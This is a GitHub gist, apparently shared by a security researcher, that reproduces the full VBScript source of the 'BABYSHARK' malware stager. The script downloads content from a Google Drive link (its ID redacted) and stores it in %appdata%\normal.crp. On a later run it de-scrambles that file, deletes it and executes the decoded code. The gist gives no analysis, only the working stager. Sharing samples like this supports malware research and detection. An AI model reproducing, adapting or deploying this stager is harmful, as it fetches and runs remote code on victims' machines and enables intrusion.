Skip to content

Instantly share code, notes, and snippets.

@JohnHammond
Last active February 21, 2022 22:26
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JohnHammond/7ed632eb8686ca86b6d8586db4ffc0ba to your computer and use it in GitHub Desktop.
Save JohnHammond/7ed632eb8686ca86b6d8586db4ffc0ba to your computer and use it in GitHub Desktop.
BABYSHARK malware stager qwert.vbs
On Error Resume Next
Set a=CreateObject("WScript.Shell")
Set g = CreateObject("Scripting.FileSystemObject")
h = a.ExpandEnvironmentStrings("%appdata%")
i=h+"\normal.crp"
s=""
If g.FileExists(i) <> 0 Then
Set j = g.OpenTextFile(i, 1, True)
c = j.ReadAll
j.Close
d=7
L=Len(c):For jx=0 To d-1:For ix=0 To Int(L/d)-1:s=s&Mid(c,ix*d+jx+1,1):Next:Next:s=s&Right(c,L-Int(L/d)*d)
g.DeleteFile i
execute(s)
Else
Set q = CreateObject("msxml2.xmlhttp")
q.open "GET","https://drive.google.com/file/d/REDACTED/view?usp=sharing",false
q.setRequestHeader "Content-Txpe","application/x-www-form-urlencoded"
q.Send
f=q.responseText
z="johnbegin--"
x="--johnend"
w=Instr(f,z)
u=Instr(f,x)
If w<>0 And u<>0 Then
f=Mid(f,w+Len(z),u-w-Len(z))
f=Replace(f,"&amp;","&")
f=Replace(f,"&#39;","'")
f=Replace(f,"&quot;","""")
f=Replace(f,"&lt;","<")
f=Replace(f,"&gt;",">")
End If
Set j= g.CreateTextFile(i, True)
j.Write f
j.Close
End If
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment